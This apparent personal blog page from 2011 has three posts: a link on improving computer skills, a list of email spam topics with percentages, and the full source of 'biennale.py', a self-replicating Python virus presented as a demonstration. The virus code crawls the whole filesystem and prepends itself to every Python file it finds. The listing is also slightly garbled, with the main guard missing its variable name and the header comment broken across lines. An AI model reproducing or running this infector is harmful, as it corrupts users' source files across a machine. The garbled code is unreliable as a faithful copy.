Friday, June 10, 2011

Becoming a good computer engineer

A fun yet good read on how to improve your computer skills.

Seven steps to become a world class computer engineer:
http://www.hungry-hackers.com/2010/06/seven-steps-to-become-a-world-class-computer-engineer.html

Saturday, June 4, 2011

Spams

Here's a list of Email Spam by Topic that I picked up from Wikipedia:
http://en.wikipedia.org/wiki/E-mail_spam


EMail Spam by Topic
Pharmacy81%
Replica5.40%
Enhancers2.30%
Phishing2.30%
Degrees[16]1.30%
Casino1%
Weight Loss0.40%
Other6.30%


A good article about the end of one of the big spammers http://www.wired.com/wired/archive/14.08/spamking_pr.html
Can you believe he sent about 25 million emails a day?

Friday, June 3, 2011

First virus in python

This is something I read long ago. First virus created using python created not to harm people but to show that python's potential.

Web page for the virus: http://www.0100101110101101.org/home/biennale_py/index.html

The source code is

# biennale.py _ go         to  49th Biennale di Venezia
HTTP://WWW.0100101110101101.ORG  [epidemiC] http://www.epidemic.ws
from dircache import *
from string import *
import os, sys
from stat import *

def fornicate(guest):
   try:
       soul = open(guest, "r")
       body = soul.read()
       soul.close()
       if find(body, "[epidemiC]") == -1:
           soul = open(guest, "w")
           soul.write(mybody + "\n\n" + body)
           soul.close()
   except IOError: pass      

def chat(party, guest):
   if split(guest, ".")[-1] in ("py", "pyw"):
       fornicate(party + guest)

def join(party):
   try:
       if not S_ISLNK(os.stat(party)[ST_MODE]):
           guestbook = listdir(party)
           if party != "/": party = party + "/"
           if not lower(party) in wank and not ".py" in guestbook:
               for guest in guestbook:
                   chat(party, guest)
                   join(party + guest)
   except OSError: pass
     
if  == '':
       mysoul = open(sys.argv[0])
       mybody = mysoul.read()
       mybody = mybody[:find(mybody, "#"*3) + 3]
       mysoul.close()
       blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
       if blacklist[-1] != "/": blacklist = blacklist + "/"
       wank = [lower(blacklist), "/proc/", "/dev/"]
       join("/")
       print ">      This file was contaminated by biennale.py, the world slowest virus."
     
       print "Either Linux or Windows, biennale.py is definetely the first Python virus."
       print "[epidemiC] http://www.epidemic.ws  HTTP://WWW.0100101110101101.ORG "
       print ">  <"
###